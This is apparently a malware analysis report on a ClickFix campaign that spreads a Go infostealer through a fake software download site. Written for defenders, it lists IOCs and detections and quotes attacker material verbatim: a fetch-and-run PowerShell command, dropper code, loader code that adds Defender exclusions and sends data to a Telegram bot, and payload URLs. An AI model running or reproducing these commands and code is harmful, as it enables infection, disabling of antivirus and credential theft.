Executive Summary
This malware analysis documents a multi-stage Windows infostealer infection chain discovered via malware samples tracked on MalwareBazaar (softmix-online tag), submitted 4 July 2026. The campaign uses a fake software download site (softmix.online) that distributes a password-protected archive which is a technique specifically chosen to bypass automated security inspection.
The attack unfolds through several layers of evasion (PowerShell downloader, encrypted archive, NSIS installer, and an Electron application) before executing the final payloads:
The Electron Loader: The core logic resides in a JavaScript file (main.js) within the Electron app. It requests administrative rights, adds Microsoft Defender exclusions for its own paths and processes, exfiltrates initial host reconnaissance (system info, screenshot, public IP) to a Telegram bot, and fetches a second-stage binary from a loader host (62.60.226.198).
The Go Infostealer: The final payload is a Go-based stealer obfuscated with garble. Most of its code volume is a decoy - a Russian-language educational console program (a Brainfuck-style interpreter and a finite-automaton minimizer) that makes the process look like an innocuous CS assignment. The real logic is a thin layer underneath: an inline hook on
GetUserNameA, hand-rolled PE export-table resolution with indirect calls, and strings decoded only at runtime. Once executed, it harvests Chromium/Edge credentials, cookies, browsing history, and cryptocurrency-wallet extensions, exfiltrating the data via HTTPS/TLS to a separate C2 server at 5.75.217.106:443.
1. The Threat at a Glance
ClickFix is a technique that lures the victim into running malicious commands on their own device. Rather than exploiting anything, the attacker persuades the user to paste a command into an elevated shell. It sidesteps the download-and-run detections that most defences are built around, because the initial artefact is a clipboard string rather than a file.
Vidar is an infostealer operating as malware-as-a-service, first discovered in late 2018 as a direct evolution of the Arkei trojan. It runs on Windows and its objective is to collect a wide range of sensitive data from browsers and digital wallets.
The lure in this campaign is a fake download page for Clip Studio Paint 2026 EX, presented as an “Official Complete Edition package for digital illustration and comic creation”. A second variant presents as a generic “Setup Wizard”. Both funnel the visitor to the same instruction set:
1. Open PowerShell as Administrator
2. Paste and run:
irm https://softmix.online/ps/setup.ps1 | iex
3. Confirm UAC (Yes) - setup runs automatically
4. Wait until the installer finishes
The page is explicit that Administrator rights are required, and even provides a “Copy” button for the command. Every privilege the malware later relies on is granted by the victim, in the open, before any code is downloaded.
2. Infection Chain Overview
| Stage | Component | Technique |
|---|---|---|
| 1 | PowerShell bootstrapper (setup.ps1) | T1059.001 |
| 2 | NSIS installer (Installer_x64.exe) | T1027.002 |
| 3 | Electron runtime (Installer.exe) | - |
| 4 | JavaScript controller (main.js) | T1059.007 |
| 5 | Defender exclusion abuse | T1562.001 |
| 6 | Payload retrieval | T1105 |
| 7 | Payload execution (6 redundant methods) | T1204.002 |
| 8 | Final payload - Go infostealer | T1555 |
| 9 | Evasion stack - decoy program, GetUserNameA hook, dynamic API resolution | T1027.007 / T1562.001 |
The design goal across the whole chain is redundancy. Where a normal loader has one path, this one has several: three separate methods of writing Defender exclusions, and six separate methods of launching the final payload.
3. Stage 1 - Dropper: setup.ps1
The dropper first checks whether the current PowerShell session is running with Administrator privileges, and relaunches PowerShell with a UAC prompt if it is not.
Write-Stage 1 3 'Downloading components...'
Invoke-RestMethod $7zaUrl -OutFile $7za
Invoke-RestMethod $zipUrl -OutFile $zip
Write-Stage 2 3 'Preparing files...'
$extract = Start-Process -FilePath $7za -ArgumentList @(
'x', $zip, "-o$dest", "-p$password", '-y'
) -WindowStyle Hidden -Wait -PassThru
if ($extract.ExitCode -ne 0) {
throw "Extraction failed (exit code $($extract.ExitCode))"
}
Write-Stage 3 3 'Running setup...'
$installDir = Split-Path $exe -Parent
$proc = Start-Process -FilePath $exe -ArgumentList '/S' -WorkingDirectory $installDir -Wait -PassThru -WindowStyle Hidden
$exitCode = if ($null -ne $proc.ExitCode) { $proc.ExitCode } else { 0 }
if ($exitCode -notin 0, 3010) {
throw "Installer exited with code $exitCode"
}
In sequence, the dropper:
- Downloads
7za.exefromhttps://softmix.online/ps/7za.exe - Downloads a password-protected zip from
https://softmix.online/ps/setup.zip - Uses
7za.exeto extractsetup.zipwith the passwordReleaseV2.1&* - Silently executes
Installer_x64.exeafter extraction - Stages everything in
%TEMP%\ps_<hex>\
The password-protected archive is the important detail here. A standalone 7-Zip binary is fetched specifically because it can extract an encrypted archive non-interactively, and because an encrypted archive cannot be inspected in transit by a gateway or by Defender’s on-download scanning. The Write-Stage progress messages exist so the whole sequence looks like a legitimate installer to anyone watching the console.
4. Stage 2-4 - Loader: NSIS + Electron app
Installer_x64.exe is a standard NSIS package. Its $PLUGINSDIR carries nsis7z.dll, StdUtils.dll and System.dll, and it extracts app-64.7z - an LZMA2 archive of roughly 265 MB across 75 files. That size is not accidental; archives this large routinely exceed the scanning limits of automated analysis pipelines.
Executing the NSIS installer raises a second UAC prompt, this time for an unsigned binary:
User Account Control
Do you want to allow this app from an unknown publisher to make changes to your device?
Installer.exe
Publisher: Unknown
File origin: Hard drive on this computer
Program location: "C:\Users\<user>\AppData\Local\Temp\3G14ubmROJ0hqDdn8BcK9D0zx8y\Installer.exe"
Once the victim accepts, the unpacked Electron application runs with administrator privileges. The Electron runtime loads resources/app/main.js, runs a hidden BrowserWindow, checks for administrator rights, and relaunches elevated if necessary. All malicious logic lives in that JavaScript file - the surrounding Chromium/Electron bulk is legitimate and signed, which is precisely why it is there.
The controller’s configuration block states its intent plainly:
const CONFIG = {
TG_TOKEN: "",
TG_CHAT_ID: "",
PAYLOADS: [{"url":"http://62.60.226.198/uploads/5df66d1d1d5343828aea45cea2b76c5c.exe","name":"payload.exe"}],
FAKE_REPO: "Runtime Components",
FAKE_BRANCH: "3.2.1",
FAKE_FILES_COUNT: 1247,
FAKE_SIZE_MB: "187.4 MB",
BUILD_TAG: "",
INSTALL_DIR: path.join(os.tmpdir(), "Setup", "cache", Date.now().toString()),
AUTO_CLOSE_AFTER: 60000
};
The FAKE_* fields drive a decoy progress UI - a fictional “Runtime Components” repository, branch 3.2.1, 1247 files, 187.4 MB - so the victim watches a plausible installation while the real work happens behind it. AUTO_CLOSE_AFTER closes the window after 60 seconds. (TG_TOKEN and TG_CHAT_ID appear empty in the extracted configuration.)
Host reconnaissance runs before anything is downloaded. The controller resolves the victim’s public IP through several third-party services in turn - api.ipify.org, ifconfig.me, ipinfo.io and icanhazip.com - then geolocates it:
function fetchPublicIp() {
if (TgLive.ip) return fetchGeoFromIp(TgLive.ip).then(function () { return TgLive.ip; });
if (TgLive.ipFetching) {
return new Promise(function (resolve) {
var t = setInterval(function () {
if (TgLive.ip) {
clearInterval(t);
fetchGeoFromIp(TgLive.ip).then(function () { resolve(TgLive.ip); });
}
}, 200);
setTimeout(function () {
clearInterval(t);
fetchGeoFromIp(TgLive.ip || 'hidden').then(function () { resolve(TgLive.ip || 'hidden'); });
}, 12000);
});
}
}
Hostname, username, OS, locale, a desktop screenshot, and the resolved IP and geolocation are then uploaded to a Telegram Bot API C2 via sendMessage and sendPhoto. A hash of the notification is stored locally (net_*.dat) so the same victim is not reported twice.
Using Telegram as the reconnaissance channel means the first outbound connection is TLS to api.telegram.org - infrastructure that is almost never blocked, and that requires no attacker-owned domain.
5. Stage 5 - Windows Defender evasion
Three independent methods are attempted, so the failure of any one does not stop the chain:
- Through PowerShell cmdlets targeting the installation directory
- Registry-based exclusions
- WMI exclusions
The PowerShell path builds a batch of Add-MpPreference calls covering paths, extensions and process names, then runs them as a single Base64-encoded command:
var psCmds = [];
paths.forEach(function (p) {
psCmds.push("Add-MpPreference -ExclusionPath '" + p.replace(/'/g, "''") + "' -Force -ErrorAction SilentlyContinue");
});
extensions.forEach(function (e) {
psCmds.push("Add-MpPreference -ExclusionExtension '" + e.replace(/'/g, "''") + "' -Force -ErrorAction SilentlyContinue");
});
processes.forEach(function (p) {
psCmds.push("Add-MpPreference -ExclusionProcess '" + p.replace(/'/g, "''") + "' -Force -ErrorAction SilentlyContinue");
});
if (psCmds.length === 0) { resolve(false); return; }
var encoded = Buffer.from(psCmds.join('; '), 'utf16le').toString('base64');
exec('powershell -NoProfile -NonInteractive -ExecutionPolicy Bypass -EncodedCommand ' + encoded,
{ windowsHide: true, timeout: 20000 }, function (err) { resolve(!err); });
The tradecraft is worth noting: -EncodedCommand with UTF-16LE Base64 defeats naive command-line string matching, windowsHide suppresses any visible console, and -ErrorAction SilentlyContinue keeps failures quiet. The controller then verifies that the exclusions were actually applied before continuing.
This is the step that most justifies the two UAC prompts. Add-MpPreference requires elevation, and the victim has already granted it.
6. Stage 6-7 - Payload retrieval and execution
The payload is pulled from the loader host over plain HTTP:
http://62.60.226.198/uploads/5df66d1d1d5343828aea45cea2b76c5c.exe -> payload.exe
It is then launched using six redundant execution methods:
- Node.js
spawn() cmd.exe /c startexplorer.exerundll32.exe url.dll,FileProtocolHandler- PowerShell
Start-Process - a VBScript / VBA launcher
Several of these are indirect on purpose. Launching through explorer.exe or rundll32.exe url.dll,FileProtocolHandler breaks the parent-child process relationship that EDR products rely on, so the payload does not appear as a child of the Electron app.
7. Stage 8 - Payload: Go Infostealer
Static triage of the final binary:
- 64-bit executable, PE32+ Windows GUI subsystem, 8 sections
- Compiled with Go 1.25.4 - the
go1.25.4version string is embedded in the binary. (Detect-It-Easy’s heuristic fingerprint reports a broader1.18.x-1.24.0range because garble strips the usual runtime markers; the embedded string is authoritative.) - Obfuscated with garble
- Authenticode signed, PKCS #7 - overlay at offset
0x002DFC00, size0x0968. The certificate is almost certainly stolen or invalid, a common loader trick to borrow trust for a fresh unsigned build. - 2026 functions total, 1965 with symbols. Garble scrambled only the 27 functions belonging to the target module (
main.*); the Go runtime and stdlib keep their names.
Garble renames every symbol, so the function list is a wall of noise - main.(*qlmwnose).oayejgpo, main.Ynweptnum, main.Zjbghaqhsjetfhnzl, main.ashrkmdxlligftbgh. Names carry no information, so identification has to come from constants instead.
The unusual part of this build is that most of main.* is not the stealer at all. The two largest functions, plus a third, are a benign-looking educational console program; the real loader logic is compressed into a handful of small functions, several of which exist only to hide API calls.
7.1 The decoy: a Russian CS-homework program
main.ashrkmdxlligftbgh(≈24.8 KB of decompiled code, zero external calls) is a from-scratch Brainfuck-style tape-machine interpreter, written in Russian. It runs a demo computing3*4and5+7, prints instruction counts and a disassembly, then a self-test verdict:"да, интерпретатор работает корректно"(“yes, the interpreter works correctly”) vs"нет, интерпретатор неисправен"(“no, the interpreter is faulty”) vs"частично, одна программа сбоит"(“partially, one program fails”).main.lpdband themain.(*qlmwnose)struct and its methods are a DFA / finite-automaton minimizer:"АВТОМАТИКА · КОНЕЧНЫЙ АВТОМАТ-РАСПОЗНАВАТЕЛЬ"(“AUTOMATICS · FINITE-STATE RECOGNIZER”), printing alphabet size, state counts (original / reachable / minimized), a transition table, the shortest accepted word, and a language classification ("бесконечный"/"конечный"/"пустой"- infinite / finite / empty). The methodtcnfhofdecompiles to a textbook BFS reachability walk over the transition table;oayejgpodoes the language classification.main.qyhmqay,main.Ynweptnumandmain.Zjbghaqhsjetfhnzl(≈27-40 KB each) contain the same Russian strings and the same interpreter logic again - a second, independently-compiled copy of the same decoy, not new code.
Roughly two-thirds of main.* code volume is this padding. Its purpose is presumably dual: make a casual console watch or behaviour-scoring sandbox see an innocuous CS assignment instead of a stealer, and bury the real logic in noise that automated triage has to wade through. The decoy strings sit in plaintext in .rdata and are emitted with direct runtime.printstring calls - they were recovered without executing anything.
7.2 Real finding #1: an inline hook on GetUserNameA
main.ifecveeoeamm runs first, at the very start of main.main:
- Resolves
advapi32.dll!GetUserNameA(12-byte string at0x1400f50c0) andkernel32.dll!VirtualProtect(14 bytes) through Go’s stdlibsyscall.LazyDLL/LazyProcpath - a different dynamic-resolution mechanism from the one in §7.3, so two independent API-resolution schemes coexist in the same binary. - Compiles a Go closure (
ifecveeoeamm.ifecveeoeamm.func1.func2) into a native-callable trampoline viasyscall.compileCallback. - Builds a 14-byte stub
FF 25 00 00 00 00 <8-byte target>- the x86-64 encoding forjmp qword ptr [rip+0], an absolute indirect-jump trampoline pointing at the compiled callback. - Calls
VirtualProtectto makeGetUserNameA’s prologue writable (protection0x40,PAGE_EXECUTE_READWRITE), then copies the 14-byte stub over the first 14 bytes of the function.
Net effect: every caller of GetUserNameA after this point is redirected into Go code that can return a spoofed username - the classic move against sandboxes and AV that fingerprint a process by the logged-in user. The replacement value itself is not visible statically; it is routed through the runtime-decoded strings in §7.4.
7.3 Real finding #2: a manual PE export-resolution chain
Three functions implement a second, lower-level API-resolution chain:
main.qzbbayccallsLoadLibraryandGetProcAddressonce each, then walks a PE export directory by hand: it masks a field with0x7fffffffto extract an RVA and tests a high bit to distinguish forwarded entries from ordinals - the manual parsing that hides which Windows APIs the binary uses from static import analysis and IAT-walking EDR hooks.main.mainhands it a module image whosee_lfanewheader field (offset+0x3c) it has just read, so the walk runs against a live in-memory image rather than the import table.main.oyfuxoicfykis the self-contained name decoder that produces the DLL/API name strings consumed by the walk.main.atxdiqyvqfmypfhunwaucallssyscall.SyscallN- the indirect-call trampoline. Once an API pointer is resolved, this is what actually invokes it, so resolved WinAPI calls never appear as recognizable call targets anywhere in the binary.
A third path rides on the Go stdlib: main.lrcpvlvcnsefxgjdf wraps a four-argument call to kernel32.dll!VirtualAlloc with allocation type 0x3000 (MEM_COMMIT | MEM_RESERVE). Together these mechanisms mean the sample’s real WinAPI surface is effectively invisible in static analysis - the same IAT-hiding philosophy as the GetProcAddress/EncodedCommand tricks in the earlier stages, applied at the native level.
7.4 Real finding #3: why strings finds nothing
main.lbuieqckwp (at 0x1400ad8e0) is a garble literal-string decoder: byte-mix arithmetic keyed on a seed, an odd/even pairwise swap, and two further arithmetic/XOR passes. It has exactly one static call site, inside main.main at 0x1400c710f. Any real configuration - C2 address, browser paths, mutex names, user agent - is almost certainly routed through this (or a sibling) decoder and materializes only at runtime. This is why a plain strings dump of the binary yields Go-runtime noise and the Russian decoy text but no IOCs, and why the C2 and exfiltration targets in §7.6 only became visible under dynamic analysis.
7.5 The SplitMix64 PRNG
One resolved function, main.atnktrdfng, is a 64-bit SplitMix64 PRNG, identifiable purely by its observable constants:
int64_t rcx = -0x61c8864680b583eb + *(uint64_t*)arg3;
int64_t rbx_4 = (rcx >> 0x1e ^ rcx) * -0x40a7b892e31b1a47;
int64_t rbx_6 = (rbx_4 ^ rbx_4 >> 0x1b) * -0x6b2fb644ecceee15;
int64_t rbx_8 = (rbx_6 ^ rbx_6 >> 0x1f) % 0xa;
Read as unsigned, those are the textbook SplitMix64 values: the golden-ratio increment 0x9E3779B97F4A7C15, then multipliers 0xBF58476D1CE4E5B9 and 0x94D049BB133111EB, with shifts of 30, 27 and 31. The decompile shows the output feeding a % 10 length bound and a % n value bound while building a jagged slice of 12 random-length arrays of random small integers. Its purpose is not yet established - it may generate decoy/padding data or key material - but the observable behaviour is data generation rather than control-flow selection.
7.6 What it does at runtime (dynamic observations)
Because the config strings are runtime-decoded and the real API calls hide behind the resolution chains above, the payload’s actual targets were established dynamically:
- Browser credential theft through Chrome’s
Login Data,SessionandHistory - MetaMask targeted by extension ID (
nkbihfbeogaeaoehlefnkodbefgpgknn); the wider set matches the standard crypto-wallet and password-manager target list - Compromise marker written to the registry with values
CAE9234andE56B542, in the formAD5F6F34615DCCFF1E59-764ee840-6622-E56B542 - Multiple C2 connections:
5.75.217.106,149.154.167.99,23.199.145.221
One detail from the debugger view is worth drawing out. Alongside the hardcoded C2 at https://5.75.217.106, the payload also references a Steam Community profile:
https://steamcommunity.com/profiles/76561198680197300
That is a dead-drop resolver. Rather than embedding only a C2 address, the stealer reads an attacker-controlled public profile page and extracts the real address from it, falling back to the hardcoded IP. It lets the operator rotate infrastructure without rebuilding the payload, and it makes the first beacon TLS traffic to a legitimate gaming domain. The pattern is not unique to this build - a separate Vidar sample analysed here uses the same technique against a dev.epicgames.com developer profile.
8. Indicators of Compromise
| Type | Value |
|---|---|
SHA256 (setup.ps1) | 9e60a5852a7a673b7084f7cda25385c04a4ef1a5841b85862b3df193f39b988c |
SHA256 (Installer_x64.exe) | 3fc02d5534d74a38e1ef4b6121818ce3358bbe1e9a823f7e6c741e9d1911cc48 |
SHA256 (payload.exe) | 20d47fa34fb6c5841bbebea4796b7b9fcc3f6920ef9d3be0530978f0cbc6e4d7 |
| MD5 (payload URL) | 5df66d1d1d5343828aea45cea2b76c5c |
| IP - Vidar C2 | 5.75.217.106 |
| IP - Loader host | 62.60.226.198 |
| IP - Telegram C2 | 149.154.167.99 |
| IP - Akamai | 23.199.145.221 |
| Domain | softmix.online |
| Dead drop | https://steamcommunity.com/profiles/76561198680197300 |
| Archive password | ReleaseV2.1&* |
| Registry marker | HKCU\...\Explorer\TS_[8hex] |
| Defender exclusion keys | HKLM\...\Windows Defender\Exclusions\Paths |
| Telegram dedup marker | net_*.dat |
| Staging paths | %TEMP%\ps_<hex>\, %TEMP%\Setup\cache\<epoch>\ |
| Decoy strings (static) | Russian "Интерпретатор ленточной машины (Brainfuck-подобной).", "АВТОМАТИКА · КОНЕЧНЫЙ АВТОМАТ-РАСПОЗНАВАТЕЛЬ", plaintext in .rdata |
| Hooking artefact | 14-byte FF 25 00 00 00 00 <abs addr> inline patch on advapi32.dll!GetUserNameA |
9. Detection Opportunities
Ranked against the Pyramid of Pain, the indicators above sit mostly at the bottom. Hashes are trivial for an operator to change, and the IP addresses and softmix.online are only slightly harder. Detection built on those alone expires the moment the campaign rotates infrastructure.
The durable detections sit higher up:
- The ClickFix pattern itself -
irm <url> | iexpasted into an elevated PowerShell session. This is behavioural and survives infrastructure changes. Add-MpPreferenceexclusions written by an installer process, particularly via-EncodedCommand. Legitimate software effectively never does this.- A password-protected archive fetched alongside a standalone
7za.exe, extracted with-pon the command line. - An Electron application launching an executable via
rundll32.exe url.dll,FileProtocolHandlerorexplorer.exe- parent-process laundering. - Outbound
api.telegram.orgtraffic originating from an installer process. - A process displaying a Russian-language “interpreter / finite-automaton” console demo. Educational-padding output from an installer is not behaviour legitimate software exhibits, and it pairs with the garble/function-count fingerprint below.
- An executable self-patching a system API in its own process -
VirtualProtect(PAGE_EXECUTE_READWRITE)onadvapi32.dll!GetUserNameAfollowed by ajmp [rip+0]stub writes is the signature of an inline hook (username spoofing). - Manual PE export-table walking plus
SyscallN-style indirect invocation - the0x7fffffffRVA mask and forwarder-bit test show up well in memory-scanner telemetry as out-of-bandGetProcAddress/LoadLibrarypairs.
YARA rules for the softmix.online payloads are published at github.com/shreethaar/yara-rules. The first-stage rule keys on the delivery URL, the archive password and the irm | iex idiom; the second-stage rule keys on the Runtime Components lure string, the loader IP, the payload URI, and the combination of Telegram API calls with Defender-exclusion or cache-path artefacts.
10. MITRE ATT&CK Mapping
| Tactic | Technique | ID |
|---|---|---|
| Initial Access / Execution | ClickFix - malicious copy and paste | T1204.004 |
| Execution | PowerShell | T1059.001 |
| Execution | JavaScript | T1059.007 |
| Execution | User execution - malicious file | T1204.002 |
| Defense Evasion | Impair defenses - disable or modify tools | T1562.001 |
| Defense Evasion | Impair defenses - API hooking (GetUserNameA spoof) | T1562.001 |
| Defense Evasion | Obfuscated files or information - software packing | T1027.002 |
| Defense Evasion | Obfuscated files or information - dynamic API resolution | T1027.007 |
| Defense Evasion | Deobfuscate/Decode files or information - runtime string decode | T1140 |
| Discovery | System information discovery | T1082 |
| Command and Control | Ingress tool transfer | T1105 |
| Credential Access | Credentials from password stores | T1555 |